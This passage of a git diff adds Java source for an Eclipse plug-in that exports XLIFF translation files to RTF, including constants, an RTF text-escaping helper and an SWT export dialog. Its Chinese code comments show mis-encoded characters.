org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.ts.ui.rtf"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * Returns an image descriptor for the image file at the given + * plug-in relative path + * + * @param path the path + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/PlaceHolderRTFModeBuilder.java b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/PlaceHolderRTFModeBuilder.java new file mode 100644 index 0000000..34825a6 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/PlaceHolderRTFModeBuilder.java @@ -0,0 +1,24 @@ +package net.heartsome.cat.ts.ui.rtf; + +import java.util.List; + +import net.heartsome.cat.common.innertag.InnerTagBean; +import net.heartsome.cat.common.innertag.factory.IPlaceHolderBuilder; + +/** + * ç”¨äºŽæ›¿æ¢ xliff 文件中的标记 + * @author peason + * @version + * @since JDK1.6 + */ +public class PlaceHolderRTFModeBuilder implements IPlaceHolderBuilder { + + public String getPlaceHolder(List innerTagBeans, int index) { + return RTFConstants.TAG_RTF; + } + + public int getIndex(List innerTagBeans, String placeHolder) { + return 0; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/Progress.java b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/Progress.java new file mode 100644 index 0000000..5f38096 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/Progress.java @@ -0,0 +1,46 @@ +package net.heartsome.cat.ts.ui.rtf; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.SubProgressMonitor; + +/** + * ç®¡ç† progress monitor 的帮助类 + * @author cheney + */ +public final class Progress { + + /** + * ç§æœ‰æž„建函数,防止类会外部实例化 + */ + private Progress() { + + } + + /** + * 对 monitor 进行检查,如果为 NULL 则返回NullProgressMonitor + * @param monitor + * @return ; + */ + public static IProgressMonitor getMonitor(IProgressMonitor monitor) { + return monitor == null ? new NullProgressMonitor() : monitor; + } + + /** + * 返回SubProgressMonitor + * @param parent + * @param ticks + * @return ; + */ + public static IProgressMonitor getSubMonitor(IProgressMonitor parent, int ticks) { + return new SubProgressMonitor(getMonitor(parent), ticks, SubProgressMonitor.PREPEND_MAIN_LABEL_TO_SUBTASK); + } + + /** + * 返回NullProgressMonitor + * @return ; + */ + public static IProgressMonitor getMonitor() { + return new NullProgressMonitor(); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/RTFCodeStringFormat.java b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/RTFCodeStringFormat.java new file mode 100644 index 0000000..d12a3bd --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/RTFCodeStringFormat.java @@ -0,0 +1,42 @@ +package net.heartsome.cat.ts.ui.rtf; + +import java.text.FieldPosition; +import java.text.Format; +import java.text.ParsePosition; + +import net.sourceforge.rtf.format.rtfcode.IRTFCode; + +/** + * 对 RTFCodeString æ ¼å¼åŒ–的类(å±è”½ DefaultRTFCodeStringFormat 对 RTFCodeString çš„æ ¼å¼åŒ–) + * @author peason + * @version + * @since JDK1.6 + */ +@SuppressWarnings("serial") +public class RTFCodeStringFormat extends Format { + + @Override + public StringBuffer format(Object obj, StringBuffer toAppendTo, FieldPosition pos) { + if (obj == null) { + return null; + } + String content = null; + if (obj instanceof IRTFCode) { + content = ((IRTFCode) obj).getContent(); + } else if (obj instanceof String) { + content = (String) obj; + } + if (content != null) { + return new StringBuffer(content); + } else { + return null; + } + } + + @Override + public Object parseObject(String source, ParsePosition pos) { + // TODO Auto-generated method stub + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/RTFConstants.java b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/RTFConstants.java new file mode 100644 index 0000000..45ad0f1 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/RTFConstants.java @@ -0,0 +1,79 @@ +package net.heartsome.cat.ts.ui.rtf; + +/** + * XLIFF 与 RTF 文件相互转化时所用到的常é‡æŽ¥å£ + * @author peason + * @version + * @since JDK1.6 + */ +public interface RTFConstants { + + /** XLIFF 中的标记在 RTF æ–‡æ¡£ä¸­çš„æ˜¾ç¤ºå½¢å¼ */ + String TAG_RTF = ""; + +// /** RTF 标记中的文本样å¼æ ‡è®° */ +// String RTF_TEXT = "\\lang1024\\langfe1024\\noproof\\insrsid15945054 \\loch\\af0\\dbch\\af13\\hich\\f0 "; + + /** RTF æ ‡è®°ä¸­çš„åŠ ç²—æ ·å¼ */ + String RTF_BOLD = "\\b"; + + /** RTF 标记中的加å‰æ™¯çº¢è‰² */ + String RTF_COLOR_RED = "\\cf6"; + + /** models 文件夹路径 */ + String RTF_MODEL_PATH = "models"; + + String fileSeparator = System.getProperty("file.separator"); + + /** 默认模æ¿æ–‡ä»¶è·¯å¾„ */ + String RTF_DEFAULT_MODEL_PATH = RTF_MODEL_PATH + fileSeparator + "default_model.rtf"; + String RTF_DEFAULT_MODEL_RELATIVE_PATH = RTF_MODEL_PATH + "/default_model.rtf"; + + /** 带文本段状æ€å­—段的模æ¿æ–‡ä»¶è·¯å¾„ */ + String RTF_MODEL_WITH_STATUS_ZH = RTF_MODEL_PATH + fileSeparator + "model_with_status_zh.rtf"; + String RTF_MODEL_WITH_STATUS_ZH_RELATIVE_PATH = RTF_MODEL_PATH + "/model_with_status_zh.rtf"; + String RTF_MODEL_WITH_STATUS_EN = RTF_MODEL_PATH + fileSeparator + "model_with_status_en.rtf"; + String RTF_MODEL_WITH_STATUS_EN_RELATIVE_PATH = RTF_MODEL_PATH + "/model_with_status_en.rtf"; + + /** 带批注状æ€å­—段的模æ¿æ–‡ä»¶è·¯å¾„ */ + String RTF_MODEL_WITH_COMMENTS = RTF_MODEL_PATH + fileSeparator + "model_with_comment.rtf"; + String RTF_MODEL_WITH_COMMENTS_RELATIVE_PATH = RTF_MODEL_PATH + "/model_with_comment.rtf"; + + /** 带文本段状æ€å­—段和批注状æ€å­—段的模æ¿æ–‡ä»¶è·¯å¾„ */ + String COMMENTS_AND_STATUS_ZH = RTF_MODEL_PATH + fileSeparator + "model_with_comment_and_status_zh.rtf"; + String COMMENTS_AND_STATUS_ZH_RELATIVE_PATH = RTF_MODEL_PATH + "/model_with_comment_and_status_zh.rtf"; + String COMMENTS_AND_STATUS_EN = RTF_MODEL_PATH + fileSeparator + "model_with_comment_and_status_en.rtf"; + String COMMENTS_AND_STATUS_EN_RELATIVE_PATH = RTF_MODEL_PATH + "/model_with_comment_and_status_en.rtf"; + + String RTF_MODEL_COLUMN_ID = "ID"; + + String RTF_MODEL_COLUMN_COMMENTS = "Comments"; + + String RTF_MODEL_COLUMN_STATUS = "Status"; + + /** 未翻译 */ + int STATUS_NOT_TRANSLATE = 0; + + /** è‰ç¨¿ */ + int STATUS_NEW = 1; + + /** 完æˆç¿»è¯‘ */ + int STATUS_TRANSLATED = 2; + + /** 已批准 */ + int STATUS_APPROVED = 3; + + /** ç­¾å‘ */ + int STATUS_SIGNED_OFF = 4; + + /** é”定 */ + int STATUS_LOCKED = 7; + + /** ä¸æ·»åŠ åˆ°è®°å¿†åº“ */ + int STATUS_NOT_SEND_TO_TM = 8; + + /** ç–‘é—® */ + int STATUS_NEED_REVIEW = 9; + + String EXPORT_GROUP_IMAGE_PATH = "icons/export_info.png"; +} diff --git a/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/Rtf.java b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/Rtf.java new file mode 100644 index 0000000..364ee79 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/Rtf.java @@ -0,0 +1,116 @@ +package net.heartsome.cat.ts.ui.rtf; + +import java.io.IOException; + +/** + * å¦‚æžœå‘ RTF 中写入的内容包å«ä¸­æ–‡å­—符,è¦è°ƒç”¨æ­¤ç±»çš„ asRtf 方法 + * + * @author weachy + * @version + * @since JDK1.5 + */ +public class Rtf { +// private final static Charset CHARSET_GBK = Charset.forName("GBK"); + + /** + * Private constructor. The user will not instantiate this class. + */ + private Rtf() { + } + + /** + * Converts a given char sequence into RTF format and stream it to the + * {@code Appendable}. + * + * @param out + * @param rawText + * @throws IOException + */ + private static void asRtf(Appendable out, String rawText) + throws IOException { +// byte[] bytes = rawText.getBytes(CHARSET_GBK); +// +// assert rawText.length() == bytes.length; +// +// for (int i = 0; i < bytes.length; i++) { +// char b = (char) (bytes[i] & 0xFF); +// +// if (b == '\n') +// out.append("\\par\n"); +// else if (b == '\t') +// out.append("\\tab\n"); +// else if (b == '\\') +// out.append("\\\\"); +// else if (b == '{') +// out.append("\\{"); +// else if (b == '}') +// out.append("\\}"); +// else if (b < 127) +// out.append(b); +// else if (b < 0xff) // Use encoding 'xx if value 0x7f < char < 0xff +// out.append("\\'" + Integer.toHexString(b)); +// else +// // Use Unicode and ask the char from the String object +// out.append("\\u").append(Integer.toString(rawText.charAt(i))).append('?'); +// } + + int length = rawText.length(); + for (int i = 0; i < length; i++) { + char c = rawText.charAt(i); + if (c == '\n') { + out.append("\\par\n"); + } else if (c == '\t') { + out.append("\\tab\n"); + } else if (c <= '\u007F') { + out.append(c); + } else if (c == '\uE007') { + out.append("}"); //$NON-NLS-1$ + } else if (c == '\uE008') { + out.append("{"); //$NON-NLS-1$ + } else if (c == '\uE011') { + out.append("\\\\"); //$NON-NLS-1$ + } else { + // Forget about conversion rules that use \' because there + // can + // be encoding issues, specially when handling Mac text. + // Do the OpenOffice trick for all extended characters + // instead. + out.append("\\uc0\\u" + (int) c + " "); //$NON-NLS-1$ //$NON-NLS-2$ + } + } + } + + /** + * Converts a given string to an encoded RTF sting. A new line character + * will be converted to \par. + * + * @param rawText + * Raw text. + * @return RTF encoded string. + */ + public static String asRtf(String rawText) { + if (rawText == null) + return null; + + StringBuilder result = new StringBuilder(rawText.length() * 2); + try { + asRtf(result, rawText); + } catch (IOException e) { + // If this will happen we are really in trouble + throw new RtfException(e); + } + return result.toString(); + } + + /** + * æ›¿æ¢ string 中的ä¸å¯è§å­—符,注æ„:string 为16进制字符串
    + * å°†æ¥å¦‚æžœå‘现新的ä¸å¯è§å­—符,需修改此方法 + * @param string + * @return + */ + public static String replaceInvisibleChar(String string) { +// å°†16进制字符C2A0替æ¢ä¸º20(空格),因 C2A0 看起æ¥åƒä¸€ä¸ªç©ºæ ¼ + string = string.toUpperCase().replaceAll("C2A0", "20"); + return string; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/RtfException.java b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/RtfException.java new file mode 100644 index 0000000..256e6c8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/RtfException.java @@ -0,0 +1,43 @@ +package net.heartsome.cat.ts.ui.rtf; + +/** + * Unchecked exception class for exceptions while building or writing the RTF document. + */ +public class RtfException extends RuntimeException { + private static final long serialVersionUID = -3852613760579815760L; + + /** + * Default constructor. + */ + public RtfException() { + } + + /** + * RTF exception with message and a reason. + * @param message + * Error message. + * @param cause + * Reason. + */ + public RtfException(String message, Throwable cause) { + super(message, cause); + } + + /** + * RTF exception with message. + * @param message + * Error message. + */ + public RtfException(String message) { + super(message); + } + + /** + * RTF exception encapsulating the reason. + * @param cause + * Reason. + */ + public RtfException(Throwable cause) { + super(cause); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/dialog/ExportRTFDilaog.java b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/dialog/ExportRTFDilaog.java new file mode 100644 index 0000000..fb0fb61 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/dialog/ExportRTFDilaog.java @@ -0,0 +1,463 @@ +package net.heartsome.cat.ts.ui.rtf.dialog; + +import java.text.MessageFormat; +import java.util.ArrayList; + +import net.heartsome.cat.common.core.Constant; +import net.heartsome.cat.common.file.XLFValidator; +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.common.ui.HsImageLabel; +import net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.dialog.HelpDialog; +import net.heartsome.cat.ts.ui.rtf.Activator; +import net.heartsome.cat.ts.ui.rtf.RTFConstants; +import net.heartsome.cat.ts.ui.rtf.exporter.XLIFF2RTFUtil; +import net.heartsome.cat.ts.ui.rtf.resource.Messages; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.filesystem.EFS; +import org.eclipse.core.internal.filesystem.local.LocalFile; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.Path; +import org.eclipse.jface.dialogs.IDialogSettings; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.viewers.Viewer; +import org.eclipse.jface.viewers.ViewerFilter; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.BusyIndicator; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.DirectoryDialog; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.NavException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * 导出 RTF 文件对è¯æ¡† + * @author peason + * @version + * @since JDK1.6 + */ +@SuppressWarnings("restriction") +public class ExportRTFDilaog extends HelpDialog { + + private static final Logger LOGGER = LoggerFactory.getLogger(LoggerFactory.class.getName()); + + private static final String STORE_RTF_PATH = "net.heartsome.cat.ts.ui.rtf.dialog.ExportRTFDilaog.RtfPath"; + + /** 用户工作空间根目录 */ + private IWorkspaceRoot root = ResourcesPlugin.getWorkspace().getRoot(); + + /** 项目集åˆï¼Œå€¼ä¸ºé¡¹ç›®çš„路径 */ + private ArrayList lstProject = new ArrayList(); + + /** xliff 文件路径文本框 */ + private Text txtXLIFFPath; + + /** xliff 文件æµè§ˆæŒ‰é’® */ + private Button btnBrowseXLIFF; + + /** 文本段状æ€å¤é€‰æ¡† */ + private Button btnStatus; + + /** 文本段批注å¤é€‰æ¡† */ + private Button btnComment; + + /** RTF 文件路径文本框 */ + private Text txtRTFPath; + + /** RTF 文件æµè§ˆæŒ‰é’® */ + private Button btnBrowseRTF; + + /** 所选 xliff 文件的完整路径 */ + private String strXliffFullPath; + + /** 所选 xliff 文件的相对路径 */ + private String strXliffRelativePath; + + /** 导出过滤方å¼çš„排除按钮 */ + private Button btnExclude; + + /** 导出过滤方å¼çš„仅导出按钮 */ + private Button btnOnlyExport; + + /** 排除é”定的文本段 */ + private Button btnExcludeLocked; + + /** 排除上下文匹é…的文本段 */ + private Button btnExclude101; + + /** 排除完全匹é…的文本段 */ + private Button btnExclude100; + + /** 仅导出带批注的文本段 */ + private Button btnOnlyExportNote; + + /** 仅导出带疑问的文本段 */ + private Button btnOnlyExportReview; + + private Group groupExclude; + + private Group groupOnlyExport; + + /** + * 构造方法 + * @param parentShell + */ + public ExportRTFDilaog(Shell parentShell, String strXliffRelativePath, String strXliffFullPath) { + super(parentShell); + this.strXliffRelativePath = strXliffRelativePath; + this.strXliffFullPath = strXliffFullPath; + } + + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString(Messages.DIALOG_EXPORT_TITLE)); + + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + // ROBERTHELP 导出 rtf + String language = CommonFunction.getSystemLanguage(); + final String helpUrl = MessageFormat.format( + "/net.heartsome.cat.ts.ui.help/html/{0}/ch05s05.html#export-xliff-to-rtf", language); + setHelpUrl(helpUrl); + super.createButtonsForButtonBar(parent); + } + + + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridLayoutFactory.swtDefaults().extendedMargins(5, 5, 0, 0).numColumns(1).applyTo(tparent); + GridDataFactory.fillDefaults().hint(600, 420).grab(true, true).applyTo(tparent); + + Group grpExport = new Group(tparent, SWT.None); + grpExport.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + grpExport.setLayout(new GridLayout()); + grpExport.setText(Messages.getString(Messages.DIALOG_EXPORT_GROUP)); + + HsImageLabel imageLabel = new HsImageLabel( + Messages.getString(Messages.DIALOG_EXPORT_INFO), + Activator.getImageDescriptor(RTFConstants.EXPORT_GROUP_IMAGE_PATH)); + Composite cmp = imageLabel.createControl(grpExport); + cmp.setLayout(new GridLayout()); + Composite cmpTemp = (Composite) imageLabel.getControl(); + cmpTemp.setLayoutData(new GridData(GridData.FILL_BOTH)); + Composite cmpContent = new Composite(cmpTemp, SWT.None); + cmpContent.setLayout(new GridLayout(3, false)); + GridData data = new GridData(GridData.FILL_BOTH); + data.horizontalSpan = 2; + cmpContent.setLayoutData(data); + + new Label(cmpContent, SWT.None).setText(Messages.getString(Messages.DIALOG_EXPORT_XLIFF)); + txtXLIFFPath = new Text(cmpContent, SWT.BORDER); + txtXLIFFPath.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + txtXLIFFPath.setEditable(false); + if (strXliffRelativePath != null) { + txtXLIFFPath.setText(strXliffRelativePath); + } + btnBrowseXLIFF = new Button(cmpContent, SWT.None); + btnBrowseXLIFF.setText(Messages.getString(Messages.DIALOG_EXPORT_XLIFF_BROWSE)); + + btnStatus = new Button(cmpContent, SWT.CHECK); + btnStatus.setText(Messages.getString(Messages.DIALOG_EXPORT_STATUS)); + btnStatus.setSelection(true); + GridDataFactory.fillDefaults().span(3, 1).applyTo(btnStatus); + + btnComment = new Button(cmpContent, SWT.CHECK); + btnComment.setText(Messages.getString(Messages.DIALOG_EXPORT_COMMENT)); + GridDataFactory.fillDefaults().span(3, 1).applyTo(btnComment); + + Group groupFilter = new Group(tparent, SWT.None); + groupFilter.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + groupFilter.setLayout(new GridLayout(2, false)); + groupFilter.setText(Messages.getString("dialog.ExportRTFDilaog.groupFilter")); + btnExclude = new Button(groupFilter, SWT.RADIO); + btnExclude.setText(Messages.getString("dialog.ExportRTFDilaog.btnExclude")); + btnExclude.setSelection(true); + btnOnlyExport = new Button(groupFilter, SWT.RADIO); + btnOnlyExport.setText(Messages.getString("dialog.ExportRTFDilaog.btnOnlyExport")); + + Composite cmpFilter = new Composite(tparent, SWT.None); + GridLayoutFactory.fillDefaults().numColumns(2).equalWidth(false).spacing(30, 5).applyTo(cmpFilter); + cmpFilter.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + groupExclude = new Group(cmpFilter, SWT.None); + groupExclude.setLayout(new GridLayout()); + groupExclude.setLayoutData(new GridData(GridData.FILL_BOTH)); + groupExclude.setText(Messages.getString("dialog.ExportRTFDilaog.groupExclude")); + btnExcludeLocked = new Button(groupExclude, SWT.CHECK); + btnExcludeLocked.setText(Messages.getString("dialog.ExportRTFDilaog.btnExcludeLocked")); + btnExcludeLocked.setSelection(true); + btnExclude101 = new Button(groupExclude, SWT.CHECK); + btnExclude101.setText(Messages.getString("dialog.ExportRTFDilaog.btnExclude101")); + btnExclude100 = new Button(groupExclude, SWT.CHECK); + btnExclude100.setText(Messages.getString("dialog.ExportRTFDilaog.btnExclude100")); + groupOnlyExport = new Group(cmpFilter, SWT.None); + groupOnlyExport.setLayoutData(new GridData(GridData.FILL_BOTH)); + groupOnlyExport.setLayout(new GridLayout()); + groupOnlyExport.setText(Messages.getString("dialog.ExportRTFDilaog.groupOnlyExport")); + btnOnlyExportNote = new Button(groupOnlyExport, SWT.RADIO); + btnOnlyExportNote.setText(Messages.getString("dialog.ExportRTFDilaog.btnOnlyExportNote")); + btnOnlyExportNote.setSelection(true); + btnOnlyExportNote.setEnabled(false); + btnOnlyExportReview = new Button(groupOnlyExport, SWT.RADIO); + btnOnlyExportReview.setText(Messages.getString("dialog.ExportRTFDilaog.btnOnlyExportReview")); + btnOnlyExportReview.setEnabled(false); + groupOnlyExport.setEnabled(false); + + Composite cmpRTF = new Composite(tparent, SWT.None); + GridDataFactory.fillDefaults().applyTo(cmpRTF); + cmpRTF.setLayout(new GridLayout(3, false)); + new Label(cmpRTF, SWT.None).setText(Messages.getString(Messages.DIALOG_EXPORT_PATH_RTF)); + txtRTFPath = new Text(cmpRTF, SWT.BORDER); + txtRTFPath.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + txtRTFPath.setEditable(false); + btnBrowseRTF = new Button(cmpRTF, SWT.None); + btnBrowseRTF.setText(Messages.getString(Messages.DIALOG_EXPORT_RTF_BROWSE)); + + for (IProject project : root.getProjects()) { + lstProject.add(project.getLocation().toOSString()); + } + + initListener(); + imageLabel.computeSize(); + initRtfPath(); + + return parent; + } + + private void initRtfPath() { + IDialogSettings dialogSettings = Activator.getDefault().getDialogSettings(); + String strRtfPath = dialogSettings.get(STORE_RTF_PATH); + if (strRtfPath != null && !strRtfPath.trim().equals("")) { + txtRTFPath.setText(strRtfPath); + } + } + + /** + * åˆå§‹åŒ–æŒ‰é’®ç›‘å¬ ; + */ + private void initListener() { + btnBrowseXLIFF.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent event) { + FileFolderSelectionDialog dialog = new FileFolderSelectionDialog(getShell(), false, IResource.FILE) { + // 打开对è¯æ¡†æ—¶å±•å¼€æ ‘形目录 + public void create() { + super.create(); + super.getTreeViewer().expandAll(); + } + }; + dialog.setTitle(Messages.getString(Messages.DIALOG_EXPORT_INFO_0)); + dialog.setMessage(Messages.getString(Messages.DIALOG_EXPORT_INFO_1)); + dialog.setDoubleClickSelects(true); + dialog.setAllowMultiple(false); + try { + + dialog.setInput(EFS.getStore(root.getLocationURI())); + } catch (CoreException e1) { + LOGGER.error(Messages.getString("dialog.ExportRTFDilaog.btnBrowseXLIFF.logger"), e1); + MessageDialog.openInformation(getShell(), Messages.getString(Messages.DIALOG_EXPORT_OK_TITLE), + Messages.getString("dialog.ExportRTFDilaog.btnBrowseXLIFF.msg2")); + } + dialog.addFilter(new ViewerFilter() { + + @Override + public boolean select(Viewer viewer, Object parentElement, Object element) { + if (element instanceof LocalFile) { + LocalFile folder = (LocalFile) element; + if (folder.getName().equalsIgnoreCase(".hsConfig") + || folder.getName().equalsIgnoreCase(".metadata")) { + return false; + } + if (lstProject.contains(folder.toString())) { + return true; + } + String xliffFolderPath = folder.toString(); + for (String projectPath : lstProject) { + String path1 = projectPath + System.getProperty("file.separator") + Constant.FOLDER_XLIFF; + if (xliffFolderPath.startsWith(path1)) { + return true; + } + } + } + return false; + } + }); + dialog.create(); + dialog.open(); + + if (dialog.getResult() != null) { + Object obj = dialog.getFirstResult(); + IFile file = root.getFileForLocation(Path.fromOSString(obj.toString())); + txtXLIFFPath.setText(file.getFullPath().toOSString()); + strXliffFullPath = ResourceUtils.iFileToOSPath(file); + } + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + btnBrowseRTF.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + DirectoryDialog dialog = new DirectoryDialog(getShell()); + dialog.setText(Messages.getString(Messages.DIALOG_EXPORT_INFO_2)); + String defaultPath = System.getProperty("user.home"); + if (txtRTFPath.getText() != null && !txtRTFPath.getText().trim().equals("")) { + defaultPath = txtRTFPath.getText(); + } + dialog.setFilterPath(defaultPath); + String path = dialog.open(); + if (path != null) { + txtRTFPath.setText(path); + } + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + btnExclude.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + boolean isSelection = btnExclude.getSelection(); + groupExclude.setEnabled(isSelection); + btnExcludeLocked.setEnabled(isSelection); + btnExclude101.setEnabled(isSelection); + btnExclude100.setEnabled(isSelection); + groupOnlyExport.setEnabled(!isSelection); + btnOnlyExportNote.setEnabled(!isSelection); + btnOnlyExportReview.setEnabled(!isSelection); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + btnOnlyExport.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + boolean isSelection = btnOnlyExport.getSelection(); + groupExclude.setEnabled(!isSelection); + btnExcludeLocked.setEnabled(!isSelection); + btnExclude101.setEnabled(!isSelection); + btnExclude100.setEnabled(!isSelection); + groupOnlyExport.setEnabled(isSelection); + btnOnlyExportNote.setEnabled(isSelection); + btnOnlyExportReview.setEnabled(isSelection); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + } + + @Override + protected void okPressed() { + if (txtXLIFFPath.getText() == null || txtXLIFFPath.getText().trim().equals("")) { + MessageDialog.openInformation(getShell(), Messages.getString(Messages.DIALOG_EXPORT_OK_TITLE), + Messages.getString(Messages.DIALOG_EXPORT_OK_MSG_0)); + return; + } + IDialogSettings dialogSettings = Activator.getDefault().getDialogSettings(); + dialogSettings.put(STORE_RTF_PATH, txtRTFPath.getText().trim()); + + XLFValidator.resetFlag(); + if (!XLFValidator.validateXliffFile(strXliffFullPath)) { + return; + } + XLFValidator.resetFlag(); + + VTDGen vg = new VTDGen(); + String srcLanguage = null; + String tgtLanguage = null; + if (vg.parseFile(strXliffFullPath, true)) { + VTDNav vn = vg.getNav(); + AutoPilot ap = new AutoPilot(vn); + ap.declareXPathNameSpace(XLFHandler.hsNSPrefix, XLFHandler.hsR7NSUrl); + try { + VTDUtils vu = new VTDUtils(vn); + vn.push(); + ap.selectXPath("/xliff//file"); + + if (ap.evalXPath() != -1) { + srcLanguage = vu.getCurrentElementAttribut("source-language", ""); + tgtLanguage = vu.getCurrentElementAttribut("target-language", ""); + } + } catch (NavException e) { + LOGGER.error(Messages.getString("dialog.ExportRTFDilaog.logger"), e); + MessageDialog.openInformation(getShell(), Messages.getString(Messages.DIALOG_EXPORT_OK_TITLE), + Messages.getString("dialog.ExportRTFDilaog.ok.msg5")); + } catch (XPathParseException e) { + LOGGER.error(Messages.getString("dialog.ExportRTFDilaog.logger"), e); + MessageDialog.openInformation(getShell(), Messages.getString(Messages.DIALOG_EXPORT_OK_TITLE), + Messages.getString("dialog.ExportRTFDilaog.ok.msg5")); + } catch (XPathEvalException e) { + LOGGER.error(Messages.getString("dialog.ExportRTFDilaog.logger"), e); + MessageDialog.openInformation(getShell(), Messages.getString(Messages.DIALOG_EXPORT_OK_TITLE), + Messages.getString("dialog.ExportRTFDilaog.ok.msg5")); + } + } + final String strRTFPath = txtRTFPath.getText(); + if (strRTFPath == null || strRTFPath.trim().equals("")) { + MessageDialog.openInformation(getShell(), Messages.getString(Messages.DIALOG_EXPORT_OK_TITLE), + Messages.getString(Messages.DIALOG_EXPORT_OK_MSG_3)); + return; + } + + final String srcLang = srcLanguage; + final String tgtLang = tgtLanguage; + final boolean isExclude = btnExclude.getSelection(); + final ArrayList lstSelection = new ArrayList(); + if (isExclude) { + lstSelection.add(btnExcludeLocked.getSelection()); + lstSelection.add(btnExclude101.getSelection()); + lstSelection.add(btnExclude100.getSelection()); + } else { + lstSelection.add(btnOnlyExportNote.getSelection()); + lstSelection.add(btnOnlyExportReview.getSelection()); + } + BusyIndicator.showWhile(getShell().getDisplay(), new Runnable() { + public void run() { + XLIFF2RTFUtil util = new XLIFF2RTFUtil(); + if (util.exporter(strXliffFullPath, srcLang, tgtLang, btnStatus.getSelection(), btnComment.getSelection(), + strRTFPath, isExclude, lstSelection)) { + MessageDialog.openInformation(getShell(), 